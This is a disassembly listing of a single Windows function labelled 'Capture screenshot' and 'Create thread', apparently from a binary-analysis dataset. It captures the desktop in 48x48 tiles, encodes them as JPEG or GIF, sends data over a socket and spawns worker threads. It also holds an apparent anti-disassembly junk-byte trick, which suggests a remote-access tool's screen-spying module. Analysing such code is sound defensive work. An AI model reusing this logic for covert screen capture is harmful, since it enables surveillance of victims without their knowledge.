Function at 0x10002e90
Capabilities:
Capture screenshot
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push ebx
push esi
push edi
mov dword [ebp - 0x64], ecx
push eax
xor eax, eax
xor eax, eax
je 0x10002eaa
push ebp
adc byte [ecx], 0x58
pop eax
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp + 8]
mov dword [eax + 0x20], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov dword [ebp - 0x24], eax
push 0x2000000
push 0
push 0
call dword [sym.imp.USER32.dll_OpenInputDesktop]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x10002ee6
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.USER32.dll_SetThreadDesktop]
push 0
push 0
push 0
push str.DISPLAY
call dword [sym.imp.GDI32.dll_CreateDCA]
mov dword [ebp - 0x20], eax
push 8
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov ecx, dword [ebp - 0x64]
mov dword [ecx + 0x18], eax
push 0xa
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov ecx, dword [ebp - 0x64]
mov dword [ecx + 0x1c], eax
mov edx, dword [ebp - 0x64]
mov eax, dword [edx + 0x18]
cdq
mov ecx, 0x30
idiv ecx
test edx, edx
jne 0x10002f49
mov edx, dword [ebp - 0x64]
mov eax, dword [edx + 0x18]
cdq
mov ecx, 0x30
idiv ecx
mov edx, dword [ebp - 0x64]
mov dword [edx + 0x80], eax
jmp 0x10002f63
mov eax, dword [ebp - 0x64]
mov eax, dword [eax + 0x18]
cdq
mov ecx, 0x30
idiv ecx
add eax, 1
mov edx, dword [ebp - 0x64]
mov dword [edx + 0x80], eax
mov eax, dword [ebp - 0x64]
mov eax, dword [eax + 0x1c]
cdq
mov ecx, 0x30
idiv ecx
test edx, edx
jne 0x10002f8e
mov edx, dword [ebp - 0x64]
mov eax, dword [edx + 0x1c]
cdq
mov ecx, 0x30
idiv ecx
mov edx, dword [ebp - 0x64]
mov dword [edx + 0x84], eax
jmp 0x10002fa8
mov eax, dword [ebp - 0x64]
mov eax, dword [eax + 0x1c]
cdq
mov ecx, 0x30
idiv ecx
add eax, 1
mov edx, dword [ebp - 0x64]
mov dword [edx + 0x84], eax
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x64]
mov edx, dword [eax + 0x80]
imul edx, dword [ecx + 0x84]
shl edx, 2
push edx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x40]
mov dword [eax + 0x74], ecx
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
mov ecx, dword [edx + 0x80]
imul ecx, dword [eax + 0x84]
shl ecx, 2
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x44], eax
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x44]
mov dword [edx + 0x70], eax
mov ecx, dword [ebp - 0x64]
mov edx, dword [ecx + 0x1c]
push edx
mov eax, dword [ebp - 0x64]
mov ecx, dword [eax + 0x18]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov ecx, dword [ebp - 0x64]
mov dword [ecx + 0x64], eax
push 0x30
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
mov ecx, dword [edx + 0x80]
imul ecx, dword [eax + 0x84]
imul ecx, ecx, 0x30
push ecx
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov ecx, dword [ebp - 0x64]
mov dword [ecx + 0x68], eax
push 0x30
push 0x30
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov ecx, dword [ebp - 0x64]
mov dword [ecx + 0x6c], eax
mov edx, dword [ebp - 0x64]
mov dword [edx + 0x38], 0x28
mov eax, dword [ebp - 0x64]
mov dword [eax + 0x3c], 0x30
mov ecx, dword [ebp - 0x64]
mov dword [ecx + 0x40], 0x30
mov edx, dword [ebp - 0x64]
mov word [edx + 0x44], 1
mov eax, dword [ebp - 0x64]
mov word [eax + 0x46], 0x18
mov ecx, dword [ebp - 0x64]
mov dword [ecx + 0x48], 0
push 0
mov edx, dword [ebp - 0x64]
add edx, 0x38
push edx
push 0
push 0x30
push 0
mov eax, dword [ebp - 0x64]
mov ecx, dword [eax + 0x6c]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.GDI32.dll_GetDIBits]
mov eax, dword [ebp - 0x64]
mov eax, dword [eax + 0x4c]
xor edx, edx
mov ecx, 0x30
div ecx
mov edx, dword [ebp - 0x64]
mov dword [edx + 0x28], eax
mov eax, dword [ebp - 0x64]
mov ecx, dword [eax + 0x28]
shr ecx, 1
mov edx, dword [ebp - 0x64]
mov dword [edx + 0x2c], ecx
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x64]
mov edx, dword [eax + 0x4c]
imul edx, dword [ecx + 0x80]
mov eax, dword [ebp - 0x64]
imul edx, dword [eax + 0x84]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ecx, dword [ebp - 0x64]
mov dword [ecx + 0x11c], eax
mov edx, dword [ebp - 0x64]
add edx, 0x120
push edx
push 0
mov eax, dword [ebp - 0x64]
mov ecx, dword [eax + 0x11c]
push ecx
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
mov ecx, dword [edx + 0x4c]
imul ecx, dword [eax + 0x80]
mov edx, dword [ebp - 0x64]
imul ecx, dword [edx + 0x84]
mov eax, dword [ebp - 0x64]
mov dword [eax + 0x108], ecx
mov ecx, dword [ebp - 0x64]
mov edx, dword [ecx + 0x10c]
push edx
mov eax, dword [ecx + 0x108]
push eax
mov ecx, dword [ebp - 0x64]
mov edx, dword [ecx + 0x120]
mov eax, dword [ebp - 0x64]
mov ecx, dword [eax + 0x120]
mov eax, dword [ecx]
push edx
call dword [eax + 0x18]
mov ecx, dword [ebp - 0x64]
mov edx, dword [ecx + 0x11c]
push edx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, dword [ebp - 0x64]
mov dword [ecx + 0x118], eax
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
mov ecx, dword [edx + 0x80]
imul ecx, dword [eax + 0x84]
mov edx, dword [ebp - 0x64]
imul ecx, dword [edx + 0x4c]
mov eax, dword [ebp - 0x64]
mov edx, dword [ebp - 0x64]
mov eax, dword [eax + 0x80]
imul eax, dword [edx + 0x84]
imul eax, eax, 0x21
add ecx, eax
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x64]
mov edx, dword [ebp - 0x48]
mov dword [ecx + 0x30], edx
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x64]
mov edx, dword [eax + 0x80]
imul edx, dword [ecx + 0x84]
mov eax, dword [ebp - 0x64]
imul edx, dword [eax + 0x4c]
mov ecx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
mov ecx, dword [ecx + 0x80]
imul ecx, dword [eax + 0x84]
imul ecx, ecx, 0x21
add ecx, edx
xor eax, eax
mov edx, dword [ebp - 0x64]
mov edi, dword [edx + 0x30]
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [ebp - 0x64]
mov ecx, dword [eax + 0x4c]
add ecx, 0x21
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x4c], eax
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x4c]
mov dword [edx + 0x34], eax
mov ecx, dword [ebp - 0x64]
mov ecx, dword [ecx + 0x4c]
add ecx, 0x21
xor eax, eax
mov edx, dword [ebp - 0x64]
mov edi, dword [edx + 0x34]
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x64]
mov edx, dword [ecx + 0x64]
push edx
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.GDI32.dll_SelectObject]
push 0x40cc0020
push 0
push 0
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x64]
mov eax, dword [edx + 0x1c]
push eax
mov ecx, dword [ebp - 0x64]
mov edx, dword [ecx + 0x18]
push edx
push 0
push 0
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.GDI32.dll_DeleteDC]
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x64]
mov ecx, dword [eax + 0x6c]
push ecx
mov edx, dword [ebp - 0x34]
push edx
call dword [sym.imp.GDI32.dll_SelectObject]
mov eax, dword [ebp - 0x64]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x30], 0
jmp 0x100032d9
mov edx, dword [ebp - 0x30]
add edx, 1
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x30]
cmp ecx, dword [eax + 0x84]
jge 0x10003365
mov dword [ebp - 0x3c], 0
jmp 0x100032f9
mov edx, dword [ebp - 0x3c]
add edx, 1
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x3c]
cmp ecx, dword [eax + 0x80]
jge 0x10003360
push 0x40cc0020
mov edx, dword [ebp - 0x30]
imul edx, edx, 0x30
push edx
mov eax, dword [ebp - 0x3c]
imul eax, eax, 0x30
push eax
mov ecx, dword [ebp - 0x18]
push ecx
push 0x30
push 0x30
push 0
push 0
mov edx, dword [ebp - 0x34]
push edx
call dword [sym.imp.GDI32.dll_BitBlt]
push 0
mov eax, dword [ebp - 0x64]
add eax, 0x38
push eax
mov ecx, dword [ebp - 0x14]
push ecx
push 0x30
push 0
mov edx, dword [ebp - 0x64]
mov eax, dword [edx + 0x6c]
push eax
mov ecx, dword [ebp - 0x34]
push ecx
call dword [sym.imp.GDI32.dll_GetDIBits]
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x14]
add eax, dword [edx + 0x4c]
mov dword [ebp - 0x14], eax
jmp 0x100032f0
jmp 0x100032d0
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.GDI32.dll_DeleteDC]
mov edx, dword [ebp - 0x34]
push edx
call dword [sym.imp.GDI32.dll_DeleteDC]
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.USER32.dll_SetThreadDesktop]
mov dword [ebp - 0x38], 4
mov word [ebp - 0x2c], 0
xor ecx, ecx
mov dword [ebp - 0x2a], ecx
mov edx, dword [ebp - 0x64]
mov ax, word [edx + 0x18]
mov word [ebp - 0x2c], ax
mov ecx, dword [ebp - 0x64]
mov dx, word [ecx + 0x1c]
mov word [ebp - 0x2a], dx
mov word [ebp - 0x28], 0x30
push 4
mov eax, dword [ebp - 0x64]
add eax, 8
push eax
mov ecx, dword [ebp - 0x64]
mov edx, dword [ecx + 0x20]
push edx
call fcn.1000e7f0
add esp, 0xc
test eax, eax
je 0x100033e6
push 6
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x64]
mov edx, dword [ecx + 0x20]
push edx
call fcn.1000e640
add esp, 0xc
test eax, eax
jne 0x100033ed
xor eax, eax
jmp 0x1000370f
mov eax, dword [ebp - 0x64]
xor ecx, ecx
mov cx, word [eax + 8]
cmp ecx, 1
jne 0x1000341e
mov edx, dword [ebp - 0x64]
mov dword [edx + 0x94], 0x1e
push str.image_jpeg
mov eax, dword [ebp - 0x64]
add eax, 0xc8
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x10003464
mov ecx, dword [ebp - 0x64]
xor edx, edx
mov dx, word [ecx + 8]
cmp edx, 2
jne 0x10003442
push str.image_gif
mov eax, dword [ebp - 0x64]
add eax, 0xc8
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x10003464
mov ecx, dword [ebp - 0x64]
mov dword [ecx + 0x94], 0x64
push str.image_jpeg
mov edx, dword [ebp - 0x64]
add edx, 0xc8
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [ebp - 0x64]
add eax, 0x98
push eax
mov ecx, dword [ebp - 0x64]
add ecx, 0xc8
push ecx
call fcn.10009c80
add esp, 8
mov edx, dword [ebp - 0x64]
mov dword [edx + 0xa8], 1
mov eax, dword [ebp - 0x64]
add eax, 0xac
mov ecx, dword [0x100103dc]
mov dword [eax], ecx
mov edx, dword [0x100103e0]
mov dword [eax + 4], edx
mov ecx, dword [0x100103e4]
mov dword [eax + 8], ecx
mov edx, dword [0x100103e8]
mov dword [eax + 0xc], edx
mov eax, dword [ebp - 0x64]
mov dword [eax + 0xc0], 4
mov ecx, dword [ebp - 0x64]
mov dword [ecx + 0xbc], 1
mov edx, dword [ebp - 0x64]
add edx, 0x94
mov eax, dword [ebp - 0x64]
mov dword [eax + 0xc4], edx
mov ecx, dword [ebp - 0x64]
mov dword [ecx + 0x108], 0
mov dword [ecx + 0x10c], 0
mov edx, dword [ebp - 0x64]
mov dword [edx + 0x110], 0
mov dword [edx + 0x114], 0
mov eax, dword [ebp - 0x64]
add eax, 0x108
push eax
push 0
mov ecx, dword [ebp - 0x64]
mov edx, dword [ecx + 0x114]
push edx
mov eax, dword [ecx + 0x110]
push eax
mov ecx, dword [ebp - 0x64]
mov edx, dword [ecx + 0x120]
mov eax, dword [ebp - 0x64]
mov ecx, dword [eax + 0x120]
mov eax, dword [ecx]
push edx
call dword [eax + 0x14]
push 0
mov ecx, dword [ebp - 0x64]
mov edx, dword [ecx + 0x64]
push edx
call fcn.10003be0
add esp, 8
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x64]
mov ecx, dword [eax + 0x120]
mov dword [ebp - 0x60], ecx
mov edx, dword [ebp - 0x64]
add edx, 0xa8
push edx
mov eax, dword [ebp - 0x64]
add eax, 0x98
push eax
mov ecx, dword [ebp - 0x60]
push ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 4]
push eax
call fcn.1000ec26
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
je 0x100035a2
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x58]
mov dword [ecx + 8], edx
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x5c], eax
jmp 0x100035a8
mov ecx, dword [ebp - 0x58]
mov dword [ebp - 0x5c], ecx
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
je 0x100035cb
push 1
mov ecx, dword [ebp - 0x50]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x50]
call dword [edx]
mov dword [ebp - 0x68], eax
jmp 0x100035d2
mov dword [ebp - 0x68], 0
mov eax, dword [ebp - 0x64]
mov dword [eax + 0x108], 0
mov dword [eax + 0x10c], 0
mov ecx, dword [ebp - 0x64]
mov dword [ecx + 0x110], 0
mov dword [ecx + 0x114], 0
mov edx, dword [ebp - 0x64]
add edx, 0x108
push edx
push 1
mov eax, dword [ebp - 0x64]
mov ecx, dword [eax + 0x114]
push ecx
mov edx, dword [eax + 0x110]
push edx
mov eax, dword [ebp - 0x64]
mov ecx, dword [eax + 0x120]
mov edx, dword [ebp - 0x64]
mov eax, dword [edx + 0x120]
mov edx, dword [eax]
push ecx
call dword [edx + 0x14]
push 4
mov eax, dword [ebp - 0x64]
add eax, 0x108
push eax
mov ecx, dword [ebp - 0x64]
mov edx, dword [ecx + 0x20]
push edx
call fcn.1000e640
add esp, 0xc
test eax, eax
je 0x1000367a
mov eax, dword [ebp - 0x64]
mov ecx, dword [eax + 0x108]
push ecx
mov edx, dword [ebp - 0x64]
mov eax, dword [edx + 0x118]
push eax
mov ecx, dword [ebp - 0x64]
mov edx, dword [ecx + 0x20]
push edx
call fcn.1000e640
add esp, 0xc
test eax, eax
jne 0x10003681
xor eax, eax
jmp 0x1000370f
mov dword [ebp - 0xc], 0
xor eax, eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x64]
push ecx
push 0
push 0x10003720
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0x64]
push edx
push 0
push 0x10002940
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x64]
push eax
push 0
push 0x10002810
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
mov dword [ebp - 4], eax
push 0xffffffffffffffff
push 1
lea ecx, [ebp - 0xc]
push ecx
push 3
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov edx, dword [ebp - 0x64]
mov dword [edx + 0x90], 1
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x64]
mov ecx, dword [eax + 0x20]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4